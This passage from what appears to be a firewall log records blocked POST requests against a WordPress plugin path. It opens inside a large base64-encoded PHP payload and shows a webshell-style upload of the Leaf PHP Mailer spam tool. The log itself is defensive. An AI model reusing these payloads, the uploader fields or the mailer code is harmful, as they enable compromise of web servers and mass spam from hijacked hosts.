pDZGVVMjU3UlBRazNOWHk4akt6dUVoRWppNWpzMGJtNTcvLy9aOGZmcXdVdXozdFhwN3lDMXhzSDZNUE0zL0liZGZ2SWxKeVNiK3htREVpbkF6UktIQkNCbll4Ym1lVTVXRnkvODF2QlZHL0dLR3NYTUNDb0NGMnEvb2hEekx3OGRMbmhVT0RiZnRyRCtwRXNYTHUxS3hkMkEveVIwcUg3Vi9wN2VKaDZ3SjROYmpjc0pXUk9tUFAycUpYOHVuUEdMYmR6dWg5YWo4ZUxZTHM3KzhjRkZjbmEyYlVLV2VGWURNcUx3b0NRMUVhOGpxR1RjWGgxV3JpNkc0T0xqQXJBcUdYSElWeWZCUlNoMFpCUTVSbkJjNkVMQ1BnYWh4c2U5bzRFSk15bXFaeUhLcmJOd05RL09pUnpuaS9OQlRPM2ZYV0VlZ3cvUEVyWGVZTnY0RWJ2ZDI1Mm9QQjZCRk50c1NBUk5Cb1JNSkc0UjcyUFBTSWVIZ3E3WWg1R2JHeXBOMXpkYkVHQktWSEN1MSthY1kyajljMlFMUjZsK3E0bm5PaW5KbkJkQjUrbkx1NHMwQ0djQUMvUXZJZ2pjdUtyUjN2RkIyQzhUR0Jqell6Q0dOR1dFUXpRNWQ2ZGx6bzFUNzdKNkNoMFNOaTRLbUNoRllXUmpJMzNmZFhVOEtkdGJ1NVJ4aXk5YXVTUEhSS25GZzlsWll3cGtqTnV5c3BvZnY1M2oydlhXeWVuaDl1N1hVUHk0M3dzTGQrR0o3dG5WOFV6elpQaStmK2VjbCtmQ3BkN3hWR1I4SGNlVzNpblYyekJxdnIxdk9TMndoMlMvdGV1OWJvbnBidCtVT1B3M0ZQTGs3M0R3dG5aemZ1c2J1NnZsL2JoVDBLd3BpN3ZCa3Q5VkxMcUxaZktIUFVKWnlIRjl2MlkzQ3lBZjJvRHA4dXF2ZXI3dEY0cVdlUEwrNnIvdm1sZGIrMjNscGNxKzJOVDdkdk9tczd1KzNSK3NYV29IQnlESFVMaDVjM3cvbFM0KzROOVI5UHk0MHhyMTg3Vzd1NFB6OC9MRjV4Zk5ZUTMvdXozYVh1NlFuL3UxRGJXQ3FjK3lkWE4vM0RVdU9ad3g3dmpnNjNtMENibThGV3J6Ry9XMm9Vb0kzUjZkV05WM3dXZjd2VXo3bnRxODdKZW5XaEN1M3RYcDI2VUNjNDNhNHVQdTFVZytyT3pmMFc0QVQ5YjI0OVgxNDI3OC9YVHRmM2h0M1NGZS9mb0hUOWVIaDFMUHZLeDZmcU51eXQ5ZDIyZjJjLzducjIxdTc2WHJlN2ZkTWU3YlRhOTdXclVkaTkyTm05T0xsdnU0M0gwNnZyRnVBMDdGNFNqTzQyaDFHNEtGbDNTNlh6Tm94N0Vmb1Q3bDdCdU5CNGp3K3ZtbytiNHlxUE9KY1FRNVhhM3RvWXBNNUJiMVNURWNGTjhqV1FCMmVrVVRFcUtGaHlpWk5zL2FiWHFkMDhMMjAzN3RiV3ErMVZRWjc3eS8xMkc5aHY3dEp5bDl5cVg3aThLUnhlT2M5YW1UR1E1LzVtRzU1WHpYdnQvZE9VOTZPMDk0VWRlSzVYc2Z1alZiY3h2dGhwZG5mcEhmL1hKNVlKdTVmWHZiWDE1dDFGcnpGY0twMjRiWmVUdWJ1V0tBc3NOQnFkN1FYM3JuMS9lbm5OV1lQWDgrekM0YzVlYitueVpxRmJzdHNqSU91aHQ5dStkL2ZhZkxnNTZlMzJTZm02dUx2VGZPNnNWOE9UM28wUHY3dnp2Y2JqNGZhZXYrcmVCS28vRzlWZ3RYaHl2bFE4TzErNlB6OVp1Nmk5eExKcm5mVm1sN1BOVG5WcEZXaXUwUVZack5UczJaME80VXlzc1EzbHhPOURiNSt6eVZJWGNkNGZJdjZLTnJXOTVxNnNYN09RdGZ3REQxaHN4Mm9YTnFxRjNYSmpsRllQcHZsUnQzQzF2YlVKN2RSZzgzRFo2TnlVcnJETUVNWmNIK2ZScUhiZ3o1VWFnNHZMNjJnODd3RG1UalUrSlhhcU1OV2JZeEJMVVR1OW0vYUoxNGpvQnRPclVDUjhnL1hxZUd2YkFyN2J2OFBmTUU3UWI1aG1sOWNEL2plSXBMa05DL0Y1UE9FMGFYYm50NC9iNTlzM1JSQ0wwRGJ3VGZ2WW41ZTBMZTgvZDh2MjRtcnQ1djVpcDNFM2YybmRBUTRmMjczOVI1aUtNUDZ4dWppVmtpcFdoY1E2MjNXM0xxWHBQN05jQUJsYnVGb25KbDF2QnAycm05MzdOaExoN0dpcGNOSVdjbHE4QS9tMmRYWndzVms3TzEydmRrK3ZnUG0yblM1MmFBc1lkOVdsT2tnVVdHL2FTdmF0cXpxOGZQZUV0K2ZPM1o4ZEg5N3ZmcXhHTXIzTjVmWGwraTRTdUVyd2VuTjN3TEFYRjhlbm14ZG5hMjZqdTFadVNIeU81Z3RuR3pmcngrN0lQZHVkK0g2MmQ5L2R0a0hXM1hTQllMMExHTXoyZXJVSERPaUdQZnZ4WnJzS2NyTkJ1S09NRk8zQ1JBdjQ5OHRqWHI5ZHEvclhseGIvZGo4K0R6bmVtM3VGdGF1YnU4UExhMW5uQ2VSczJOMjJ5Z0hIdldHZmV2WWpUR0pZWDVyUDNlMEcwcVZ6ZUY5dGEydkM4MmpNMXlnUVFGWTRXUStla3JhYURMK3ZYUjV0RmE1cVFMRzErZk5hV05nNmFOd1VUMnRibTdzQXkycnRScE0rUE5qYXU0ZSt1MXdnMWc3QzZ0YnA1dGI1NmRuRnhXa05KdmpaazF6TGlsY0hzT1pnK1FMUWp3c1htS3pQQ2lleEZxM1ZiZ3BibHpmalE2RGQvT1gxeGk3d1FiUVc3SG1yNWV0Q0U5YUg0aVV3b25jdDFyeG10N205ZndqdDFtQ01XN3k5N200b0orb2EvSTN0MGhwaHA2MFhTMnZqbzJCelk2L1FSWDRiTzlEV1FYdTBVZVhyMTlybVhodkdoL05VUXJndmpUYlB0anFGODN2L3hUVW4wcmdxanR2emg3RDE0dHYxVk1jUFdvc1lLVXRTaDhYSVJUTHlKUG1ueEIzZTZGYzg0RW55akU2NWtIWDU5WHhVcmFmNG1LMnY4RTFMNHF2SjQ3ZWtlZ2dabUxNcVBEZFd6TS9sY3JFY3VlSDEvV0JxK0RxakFwK1BLUlRNOUV3VjhsVFU1SGtsd2hlZ1VlSUpHWkF2U2tvQmV6RWhxbVpBVksxUkZIaEp4dFJJellpMkhsZUVtdGJmY0ZKTWhDZlJ3NGtFTFU4UEpDTGErNnZITUhoeERDZS92bWtNUTdwcVBvM096YjQvQ3ZGaStpK005dVRvZE1KUE1ETmcrelRBVTkzQWdIbnlsaUZDSEdPQnRCTkQ5cXNETkMxR000L0RMK0w0b3llazNCelNjc2RvV212cTRaS21CdHpGMU1SMXBiWUYxZmpPeEZVN0UwMDFXeFZ3N3RjUDJvV3o0L2I5dWgwV3VpQ1J5emVnQXV5TmlxVnJWQnNpRlN1Qzc2MXVYSG1ydGVOMjRjSnFyQ1ZoeW5JbmUyM1Evc2RQeFYwT244cnVrY1FkN3c2VDc5dnhkcVM2RW9UanZXQUFLazhIVnNpbkhxcU14OEZnNDJEcEh0VFdKVkJsOUw0QVRZTFZTS1VNVjNmMjd6cnJONTJMbnAwc056OXlxd3Nuc0ZvMnkvYnoxdmE1T3hwZisrZmJ6V0MzM0V5V0hlTzM2b1pkaEpVc3JnYkR5blNncTgvYUdLeHVRTnZ1d2VoaVp3TEgwV2dkNnUyb2xYanBJQUZYWDVXMThTNkN1djZNZElCeENaNjJ0YmJPRHViV05xcGgxZHNOZkZEaFV0US9uOWRkQjVXdGQ2M2hIMXVSL1ZGUHFhbWszaGJ0SWFuaXBJWldvNjBCck9aWFQyRzM2ZTJDZW5zUHV6cmdtV2ZZVVJZNnFDYXZOOGRMMjNZTFZ2RG5lZmR0S3E0Rys2bXdYaDN1WGpVTE9HNzNZN3ZUMXRWOHJ2N0cxWHJVQmdELzFzMzVpZHA5cmdGL0h1ekV4dU1KZDNyRnk1dk9hVVM3TVdoZXdWSTNiV3VpeWpUWG5nK1F6NFZxTFBHd1lPejNuMGxGbG1WaGhYYzVUUjc4TjZyUzFVc3JQQVZONjJrRE5OUExabmpZQXpYZUZkOUFSWWJ0VlpyNmZJODhNSC9aVFB2bXdkODQ1dTlVdXpWdGdnd2xqTXdteWdORGlLa0pWNGlIaGEyaFo3Q3d0cmVxekw1TVA4cEgxeUdxWldiNXlTVG1xcWwzdTNSWllGckpoTVZldUVFbll2NkxZOHFEbStIdzFHQ0VpYlRhdWM3T1d0OWdaMHZiMjUzSVpBOUs0S1BCNkJGNWl5aFA5bHh4Sm9zN2oxbThLQXR5ZnBibmNodXhYSWJmMGRCY1lJM2ZNTmpXWmlZNzZEdGRTN3E4azh1Sk9oZXJIQzF0bmNNK2Y2KzJYeDFIN1FWNGplMFJIVitHelpXWlJsUEdVZUszTTdxTndlUVZsc3B3MHk3aXVkMWRkeTh5Zjdia2lZdFJvUllZdGFkdVVNU1ByZkhhT3dGZ0JFN1oxdkN3TVArZFhOSDB5NnY4VkNSbzZaY1FLOTNQOXZEWllLMkhvN0s2dkw2d1ZKZ3o4aG1nUk5Pek9zK1lFU0NqeGNoM0Z0YTJ4aGo0ZkdsQkhaUmtQTmZxQmp6N0loVFFraTVteUhqWGdiZk8rYUVEcXlCL3lHcmRoM0FXNmJZc0UxOFlQRHM4RUlwbmZwWDVPRU4zWXhJZzRjeW9COEw3bmNmcW4yc3R6UU5WNktHRzZYMGpSTDFqMUZmZEdVQW5xcGFwNHJxNDE3WU10am9mWE94RUk0WkhXM1hvWTVTdW9ra0tGV0ZSYVY3NkowOEdvOG9TVTdwT3BKSVRac25EWVgyZ2FtWDRoMHpzOWhFVUh5NjYvbjFhY2NwdE9GRytQNjM4YVhyNXhkWmdtRmFjcDBXY0tJM0pFOU94MTlNcVpyUnJSaFBKTXNWZG93b1JsUkd4cHRLVyswdmdsYzNFTzgvRldIcUpsNWlhTGpZd1F2c1hPTHJQUi9zamc5RkQyYmhsaGs5MGc5UE0xMTlSbXBuS2paMnM0SG9nVGM0Z3U4MU43eHc2Y2ZENTRGUnQyYUliQktJejZUZFhNakkwU3VXNWYrZ0JteEd3aUJUYzAxUm1MUUd0ZEwyeElXNms4KzVVRjU1ZGtKUGowdEZ1RktSTkNra1pqT3BuRk1XS2FSR3l2cHZmdi9FcG9zSlp0Y0xaNW0veE1GcnBoV1F3TFJFYXkvMzRVWWJHU2k4ZkQ1Q2xCOGtLWFMxSVZockNVYUQzTUI3RWkzWFJhWStyKytXQWZ6Vnk4ZzhZdG00V3hpYnhENjgyVU5WS3dTVFFpQlZFb2VKa0ljQzdteDlrQjJFYTZzbjJmcVlpSWRtRG8wNTRwK0E3V2J6RWk1ZmVXcnpJaXhkZktmN3pCMlc1b3dWODJaRDVobWE1STFPaldRK1hmeE5KakFRenA4SVRwR2xsUXkyaytRUnF3aTFzUW42S1BEVE5wdldWcnZaZ3V4T3g4c1h5cldMWWE0bTFWRm9vTFRBKyttQ0RQT29iTGQvb080MGVxQjFPQitZZTkwTVdVV2dGc3h1bTVwVE9DOFRRMDBMdmVyN2FzOHRpTC90cnB4RktYRnhrT1dRdW9KZ1d0ZTgxdXdDQzFObVJnNUk3MHFzcnY5U0UxZXFoTi8rY2ZxVFJyTjkwamtCYzhVZmtzNWZsTVVtNWxKeWFIa21xRnNYVGhTZlFsanJIL1NzOXlyZEtkL1o2RjFwSmNXZ0dYbFhFWDZYTnR6S0NrS0ZBWHIzZEYybjhrbllCVFVxb2RCREVzNVJ4YTFtZjhxcEU1aGJob29EUDNDN0g1cnVaeUxxbDNTaEVQM0tuUlpRaVQ1YU1PVWFCOGM5SHQ4OGRXYmIrYVd3Y3JzS2tPdDJzbmNPSDNEOXhWZnFua1RlL2d2NzJUOVNyLzVrZFdEYmVtOTQ4M2R5NTVHa2haNEdSeGozajRPaDB5eWdhWit1Yis1dTFUSGJjZDRZUFNyVXhlWm5ZTlFUOVJQYXhWM3E2TjlqaWhkZUszRmJpYVExTHNiaU1XdlpEa2I0TWpUT1NtUWIyK1JWc0dhcjEzc0JWcW5uN2VQNmtpczZVbzU1eWtJUFpDN1hQUUJQdkVxcDRQYlpmRDJFbGdFV3EyM3dZaHFETzhZZHUwOVJTeHhJQU5iZ0xDd3QvTTJUbSt4SVBOazJKNzJXdzZVUWFSNGx4cTcyNkJhdm9tcnNtSTBJQXhpZUYxZ0VvTVBiVnpaVThtNWlaaVIzQlZ6YlhyK3Erd1JxbHhUTmxtQzJValU5QVpjLzhCbkxqUTdick9qYnZWNXZIRExqb2pUSGo0UEhhWFhOTGRXcmliSi91TUdoMnpMSzZaSm04dy9vM0F5QWZHN2tRdW1samlHVFY5SStzbkFWcGJnS0NabkxSLzVtTHI0a2lmbjJ5VnVZVzFxOGZrZGhmam9RKzFFcEdxaVM2c0hELytrSlMwT1NNYVNhOWhTdlBheGZPdHNHSW9PcHlNTjRpWW9QMjc5aHRIdDNVNExGTlA4YW9SWmQvOGhsekdyNW1TbzdZYUdLS2tmbVNnTW1UQlZ4c3VhQm5CdWZuYS9JWXQ4Z3ZzbXBEOVVmOFo4Slp1MEo5WnhlN2c2UEh0STBieDUzUFhROTNIN2wvWk04T3o0L1d4VHcyOVhsY0lUelk2WEg3VVFXSi8wbm8vOENsU3BLZG1Jc1JxOG1wRmtrZnpMZzV4THMwaEJRalBrOU1NQW1yZkxEcjdSbU1Ic3BEdEZET0k3V0IxZitSZEVveGpiUHFRWFhmK0dmS2NKai9wSzcrUTNadjBodGIrbFZPQWIxWjI5bzZ3bmFwa2JRMlhtMkNTOE4yTUZVYTBvUm5OUGd4Vm54MCtzZXdwK3orSHJIaXpGL0ppa1ZqSllVTGFid1p6WkRKdlVkOEpvbk5SYjljM0ZnMTJNUFYwemlTbmFZekdOck8wK1lMQ3l5M3NldFpBR1Erd2EwQ2JPSWVMNHZYVjlyS3JWUUVuaDM0SlUyQVp6ZHVnTURtVnBVVlNnc1VYVGVUR3NMVFVYdmhHU2JaWUhnVlhRVXhSV1owWGxhMHEyNHJpbEJxa3drSys0MVMxNU5YRXBNTkNRZ3I3cWN2YU9OZmNiL0VTdVh3Slk5b1E4QmxzSTJKcUcwOHRFd1VzQTJGUXdtZGRIbGR6K1ZYbnVrSkxYS3VvRitBVmxmZUg0MnUzYUVCNjNyekNGZko5bGx4UStsaFVZbktmblhoUGdBdGpCZWo3eVhWUnFWMjFMZ0FIYTA3MXl2S2NQQThKeUlVd1B1VHVLYWUyTTZkd2FpZ0JsOG5jWVhxTXlvcjVBZnZLV3pJMFlkKzU3NjUyVFVZUGFKUjZvZ3g0Y1JCd25kMGtyNUd2QXIxbVZFUDFXVnpqcmNLZDVJUVl3UkJCUFlaaGFYbWdjR0loV1RYaEtJdmUwYU14YmJtOXE4R3FnekdsQlpqRWRkeWlqRU5hRUxua1VBTHB4Y0xNQ2JVdmx3bDFKaFFXNHdLaVRHaE94NXFVRVozeFpzYUFPQ1A1RFg3MzFBbDByWEd1Q2tocnVlbEpIcmhHVlhWcXBzcUxFanRZZVdud2U1T0pDd3dzMWl4TXVpMFhhZkRVcExsRXNoazJvNjNLOWk4L3FTU2pkbzEvL1NhYXEzaXVVU0xGY2tuUnRKS3MxVnJOSm1hd3RXVUt2MkVPVWZZcGljSVM4UWpxakhTSU45czU3czhmbDdFVUZ4Y1RDdVN2NjYvcWh2Q3BqU1VLb09SQ3FlZVZCRXhGM0pBMFZnb1oxenFvR1JVM0FWRitQaXVSOXRxUXJzYkx4MUFZeE9ocTFWUWNkUFRZdXMwT2hjOTBCSnBnNkRVRUJraVFwYWlwWXhSNFdoVkpuWEY5NlN6N2txM2EvWFEwazk2TUdyQjlBclhXVXlWd3dPOXZHRy9Mbk0rQ2JtRmJ6SzN1V0xlakw4MFlWSFhNZ0dxVlYwUGE2T1Zsdm84V2J2RXNYY3FkU2pmdmVnOW03Yk1TWHZUQnhFMDI5U2JlNk5pR1plcG5oUWtVNGp6bXg3Z0RZVTNibFJGazNrZTloUzNjeFJSVCs3bFhwRGF0QjlrTkI5MHMzcHlBdWx6amphcWpPd0owUUxFZmJibGJYbHVscWZyNjZuMysrTnUyMXp4TVNXeFk1TmRoc0NTNkt0UTQ3ckVTSldyWk9oZ3RMdVdqUDBwOHNxUnE1TmtjZG93TTlvK1MxcWdZelkxaldJSWgwdHpqaVlETGlNanNHd2h5dnJ1OU4zaEE2ellJaWxFYnRJZS9sSk9wNG15MGVTUUlzS1FaZElsRDZJU1dhMGlMQ1lzOEtsb0RIeS9MMUNackpDQ2l5cjBQbVFtTFArcHVFQ2hybVhqV0pQa1NGWkt3VWVXZVFzNjAxMTJIbXBPdncyZ2psZVVlYVYwMkFEdXA0ZmkvcVlqZHdScVJadTJ6UkhzV1ZxZEMyRmZRUS9CUElhb05NVS9DTEFaSHloRXpzY2pEeEFwdTQ4WFUxeno2WFNXMFZsdHF1TWFXUndaMlI5bFovalJSbHhqVDM5YnVWdHJvem1sMW15V3RlMnB3amN1RGxlMEFCZ1J1WGpJaGVUUmthYjc4OGdpY1VDWk9IbVUzSGlEVEh4QkZHN1hqb2Q5ZzlGRFRtYlprK2hrU0k1SjRvUW81cGFsd2tpVjl1YU9NSlRpcUtmdXUvei94NG5KNDhURCs1T09qL21ha0ZqS05ObllpT3lTRmFJZ0kzYVRHNGZrcEpVYkF1SkdSbUJmV05QK3VnTktMVERKWkxsb3VhQ3pSa2FuZjlFMlBwNWlEZWpSdXdyeFFrM1pYdE5paHpJQW1weC9MTWRmNXJtckFyK3J5YStmaWtpZWpPZXBoL2tDdzJXSVhKaEdIb05iNkJIMnMwWnQ4M3gvOWNLZ1FxSFhHM1o5TzdVZ240VzRacEoyYzNSMldEWE9UamRyaDFVMDgzQlVrTDgvVUU0UUNZaGw2UFRvVVQ4dDR0cFlSdVM3a2pGa2FYK2F1clhYQWpoS3VQcDB4bTNNeElSdWZpNlhRTFlST1lscFJDUmVJaTJqQW9ManRJN0ZMVmhTVmFNMktuUFc4VGFNRGoxNDNZcVU5QlFBZU8zZ2Flc1VFOXV2SGl1eGJQNHpUcnQvR3B2N2E2dG54dWJaNnVicHVuRjV0Sk5zaDV2aU1YeXJkVEtFM2UxUjRhZ1Z1Ymk4bXhVcVM5NUpHK2J0OXNGU1NkNlpFYVlKOU4zQUhkSFpIRlJoOUtBQ01wL2E1aWdZWGhpTStoV2o0OFBuMGU2V3dlaWhuU2g1dDk0dHkweGdLTjlQUVJMRFBTTXlRc3ZjOEIrdVFSNVQ2MVBwK09KWUVkWFlxdFdlVStrcWtLd2lMQ1JubmpxZDN5eUxvTFBvYk1CSGpsSDdrdVE4TThtdmtCNFh4QmZtWHlhYngvUEFERjRWNUdBaXNOSk9RU1AwQ2hRRW9tWnk1cldaUEVIRytGeFdxTkNBeUg1ay9vbUF1WFVKLzR6TjhwLzZQS2ZFd25WS2hGSEhIQXhFNWE5cDAxNTJWNlcvaytJQUlRMDhOeDRZbldVd0lXTlNjZ2lENGJJUldRdmZKMHcwcmhXU0xENC9NTHdBYWlVWWNzSDR1OHEwYUNyQjk2bzBvcW5IYUNJSzlZSzNONHZ4b3lUekNXZ1ZZbGxHc3orU011TmVGQWNZVlVyUmxoNEdXSElOOTRLakllWitWdEhoZnNxU2M3eDFIcXpEN241My9VWTZwT1J5ZldRZDd6WmlIWjRmaUYvNEovckpvQjViaTcxZEVLZjBrRE8xUkJvbXg4QUkvSDR6T1RtcmkyNTlBMVpEL3BEVFRPNGNYVnBFK3VtRTFaSkxPaGZGL1N1RFVRZGl3b2s2dzZpQVZDdmt3S05vM2FpSFkxQnA2Q0VkNEpqQXUrZjNXM3l2S1ZRNzRRTEJVendtbGpHU1FhTGU5ZkhST3N0eHZ6dWVCbHE4MXNWOUprR0k3ZnRkakZwQWo1UVZSU2xkd2swU3pRblRzY255U05JYnEwZjd5Y05vWXBVWUtlVUl2cEczS0l1bTJKQy94RkFLWlo1aU0wK2JhQUtIRmw2ZVYzUGdPVzRYRTJhSDlYYndOWVpLc3VzL0pTUnhDSFc2dXJPT3p3UkxhUkpaYTFIbTVTVDFrN2NuaEZFVUZDaG5UbnllOEpFVklibmZRYWxJTjM0VHJlZ0VwejZBMFh5VklxcDB2Q3R2Ulk4cXZ3bXJES2ErdFFhV1hlZWIyZDhNcStkMDdMQk9FeHNkSmt6eEJxRlphRnJ4M01tQ1R0K0I2Y3I5QlFhemt4WEVmTU9nNkZTZVpsMG1SU2xLNDkxSjhwZzFtbkxUVkt0Zm5BR2F5OFFicVRjd2wzOEQ2UTRDMUlGYUdNR1VmRWR3TjRJQlRZR3NKRUN3OC9nNWJkYStwK2VaVUlMbW5VOEFlbmQvYVIrbWQ3YlMzZnJjaGcwYlBmUXpGUW04WHlwZVg0Tm9INTBjU1M4TERmMEtyS1dZeGF1T0FiSTR6RCt3SVh6VEczcDE0YzVHNnUvVjNmd0NhTnNFTUxtRDVxcWM3Y01lVHFoeXI4K2FpU3EvTUg4cTFDOUd1Q2tQZmc3dkY0VWlIeUtPL2pzR21zc1lxaWw2OFdjNE80TDJoajc4Rk9xUkprRnhHOXhvMW1uZUNvVGVKVElKQU5WL1VWbnh6M291QmtVcExIclJsWWdrT3BtZk9KOEE1bzlsK3NQNGlYdDkrQ211d2dYR1QzVGZnaGY0TUg1aXFsN1l1OE52ZnFYdDUvZUMrZzJQak56dmkwSFNCNDhTakg0KzJBT2VJTnhpZWdqaHlhaUFSTGRVbnB0SERVYzB5aTBrNG0reC9kbmU5ekJMRGoyRWRrSmw4MlpGNU1qallVdm9aZVd5ZjFVOGdBMGNmMHpYSWxKSXhYL25PWFZnclVTYUdIa09WUFZac2RkRXQ5K3FsTkpZdk5oS2ZNeDV2aHJLV3hNdDd6bEtjWU5aMWdEbjBQUFg2L1dvR3VNaW8yODlRbC81NFMvL2t5RGhuejhNNllwTkJ3K1ZoZGJaeVlQQnlJNzZpaVUzMVgxUE1IaDdyM2ovYkRCNjZKYmM4VVJHQ0txZVpqTlVCdW4vQXlINy84cGcvWkZsVk9aNVNDc2pUNnQ1d2VMMGd0MkgybXZCL3Q4UzVsOTRGZXZaUnVTeGpGZ2NOOVFMZVRWV3ZVRDczNzc2QlR5NkUxVU94bWRxb0JEK1JJYnNSQVp0NFo1cHdzb0RQTXc5aHRVeE90b0tBMU1tNURaYm9YNjE5YVdMclRCN1JqN01aU0FXWG12Rm9zcGZqQjhHTU9Kc3RUUkJ3WW1MWllzbGJ6TXcyTFY5c1hlamZDNVBQeis0Nk9MR0gya3IrMXkzZUFOU2lSNXl5bEErSmsyaVVGNGsvY2p3YnE4OWQyOHdlc2dMVnFUUDgxaFVKb1ZnRXBtZDNPTkZGL1FIZXNoZUJCOG9iSlVlbmZoNWZMOXBzS2VUcGl1dFdyQk56NXNoNmNhZ3VISUROY1VLcm13T0M0MWptS2FuRjUxZDNTNzg1STI3YVJGRmpmOFhDWDE3c0FMS3MzZ0RVdlNBYml3N01aYnJudk16S252V2hIZHFjam45cDFNdE5iaW4xOVVMQ3JkdGFjV3hLaDR4ckZyMmI2NnFNT1VvVmVyQk1icTYxWFdIc0Y2N25HbndqUmw1ak5JRFl6bXhLck44YTQ2RU1pWmpERkxKVEt5R0wxTGZ2a2l2U0RwUEhSbEhhaFpsVWRicGJnaTM4S0lXdUhYMEtqR28zb014SGlBc1lyZHc3aUhhNHVYMGhWaVNTMEpudHNDbzYwODU1VUtQNDZoR1BFVFNva29BTjEyRVhqa1pUbXFxQlRnc1BSSjNOdjZ2aDBSektUS256cG5jNjRUYm9uQjVPWHFUZkJHTzJNSVVNQkxERHQyM3pONlhCdDY2N3M5aEg4NUFnZmFldkZ4Wlo2ZFA0Z1FuVzZCbTVHcWZmUERaS0pHQ0Zhdk80Q1lDUXRUajRQVTFhQ25Pa0NSRWlPeG1CSTNMMFBqeUMxNTNlWk83THZ4ZHJ4YlRRNlVEZzgwbUZKbmJ3Tm5SRHU4aGJQV3ZtTWRlZXphdGJYTnV3emZ6Z1ZQck9JdGhVWGZRcm9XZ1V1T3VxN2Vld3FlQlgyTlVnWkVQalUwTDFEN2RCblRXWUFqalBlWlgwdklIbm5lVVFDZndqUHZacVlRZDhyZ0JPMTdleVM5VkdRdVVRaFBSc0pLd3Z1aUg0ellpd2hKbFppQ3pONWMzbWlQelp0bDBuZjhTdzcxVFA5VjF3RTFrdzhLaDVGMEFlcXdOemh1Vnd1cTFtbE1HSjc2Zmg4RW51UXFpdmdQRE91NTJYak9DeU1XdEdmSDJHSGhkNkNVd21heUFxVlFYNlNFaUVTWGRrdEdlam10ZVhWdlFPWXRzSFcnKSkpKSkpKSkpKSkpKSk7'));\n?>\r\n--ff505e8808179caf074374e64bece8c9\r\nContent-Disposition: form-data; name=\"berkasnya\"\r\n\r\n\r\n--ff505e8808179caf074374e64bece8c9\r\nContent-Disposition: form-data; name=\"darilink\"\r\n\r\n\r\n--ff505e8808179caf074374e64bece8c9\r\nContent-Disposition: form-data; name=\"namalink\"\r\n\r\n\r\n--ff505e8808179caf074374e64bece8c9--\r\n"]
["2026-05-26 21:47:33","170.205.30.68","POST","\/wp-content\/plugins\/qrjoo\/index.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/138.0.0.0 Safari\/537.36","post","http包非法,并且被封锁IP,如果自定义了from-data可能会导致误报。如果大量出现当前问题。可以选择在全局设置中关闭From-data协议10","POST \/wp-content\/plugins\/qrjoo\/index.php HTTP\/1.1\naccept-encoding:gzip, deflate, br\nupgrade-insecure-requests:1\ncache-control:max-age=0\ncontent-type:multipart\/form-data; boundary=c01af8f3004dad09e7c456316607a13e\nsec-ch-ua:\"Not)A;Brand\";v=\"8\", \"Chromium\";v=\"138\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/138.0.0.0 Safari\/537.36\ncontent-length:166200\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:same-origin\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\nsec-ch-ua-mobile:?0\npriority:u=0, i\nhost:dewenlabels.com\naccept-language:en-US,en;q=0.9\nconnection:keep-alive\naccept:text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,image\/apng,*\/*;q=0.8,application\/signed-exchange;v=b3;q=0.7\n\n--c01af8f3004dad09e7c456316607a13e\r\nContent-Disposition: form-data; name=\"dirnya\"\r\n\r\n1\r\n--c01af8f3004dad09e7c456316607a13e\r\nContent-Disposition: form-data; name=\"upwkwk\"\r\n\r\naplod\r\n--c01af8f3004dad09e7c456316607a13e\r\nContent-Disposition: form-data; name=\"berkas\"; filename=\"diagh.php\"\r\nContent-Type: application\/octet-stream\r\n\r\n<?php\n\/**\n * Leaf PHP Mailer by [leafmailer.pw]\n * @version : 2.8\n**\/\n\n$password = \"lufix\"; \/\/ Password \n\nsession_start();\nerror_reporting(0);\nset_time_limit(0);\nini_set(\"memory_limit\",-1);\n\n$leaf['version']=\"2.8\";\n$leaf['website']=\"leafmailer.pw\";\n\n\n$sessioncode = md5(__FILE__);\nif(!empty($password) and $_SESSION[$sessioncode] != $password){\n if (isset($_REQUEST['pass']) and $_REQUEST['pass'] == $password) {\n $_SESSION[$sessioncode] = $password;\n }\n else {\n print \"<pre align=center><form method=post>Password: <input type='password' name='pass'><input type='submit' value='>>'><\/form><\/pre>\";\n exit; \n }\n}\n\nsession_write_close();\n\n\nfunction leafClear($text,$email){\n\t$e = explode('@', $email);\n\t$emailuser=$e[0];\n\t$emaildomain=$e[1];\n $text = str_replace(\"[-time-]\", date(\"m\/d\/Y h:i:s a\", time()), $text);\n $text = str_replace(\"[-email-]\", $email, $text);\n $text = str_replace(\"[-emailuser-]\", $emailuser, $text);\n $text = str_replace(\"[-emaildomain-]\", $emaildomain, $text);\n $text = str_replace(\"[-randomletters-]\", randString('abcdefghijklmnopqrstuvwxyz'), $text);\n $text = str_replace(\"[-randomstring-]\", randString('abcdefghijklmnopqrstuvwxyz0123456789'), $text);\n $text = str_replace(\"[-randomnumber-]\", randString('0123456789'), $text);\n $text = str_replace(\"[-randommd5-]\", md5(randString('abcdefghijklmnopqrstuvwxyz0123456789')), $text);\n return $text; \n}\nfunction leafTrim($string){\n\t$string=urldecode($string);\n return stripslashes(trim($string));\n}\nfunction randString($consonants) {\n $length=rand(12,25);\n $password = '';\n for ($i = 0; $i < $length; $i++) {\n $password .= $consonants[(rand() % strlen($consonants))];\n }\n return $password;\n}\nfunction leafMailCheck($email){\n if (filter_var($email, FILTER_VALIDATE_EMAIL)) return true;\n else return false;\n}\n# Bulit-in BlackList Checker \nif(isset($_GET['check_ip'])){\n if (isset($_GET['host'])){\n $_GET['host']=explode(\",\", $_GET['host']);\n foreach ($_GET['host'] as $host) {\n if (checkdnsrr($_GET['check_ip'] . \".\" . $host . \".\", \"A\")) $check= \"<font color='red'> Listed<\/font>\";\n else $check= \"<font color='green'> Clean<\/font>\";\n print 'document.getElementById(\"'. $host.'\").innerHTML = \"'.$check.'\";';\n }\n\n exit;\n }\n $dnsbl_lookup = [\n \"all.s5h.net\",\n \"b.barracudacentral.org\",\n \"bl.spamcop.net\",\n \"blacklist.woody.ch\",\n \"bogons.cymru.com\",\n \"cbl.abuseat.org\",\n \"cdl.anti-spam.org.cn\",\n \"combined.abuse.ch\",\n \"db.wpbl.info\",\n \"dnsbl-1.uceprotect.net\",\n \"dnsbl-2.uceprotect.net\",\n \"dnsbl-3.uceprotect.net\",\n \"dnsbl.anticaptcha.net\",\n \"dnsbl.dronebl.org\",\n \"dnsbl.inps.de\",\n \"dnsbl.sorbs.net\",\n \"drone.abuse.ch\",\n 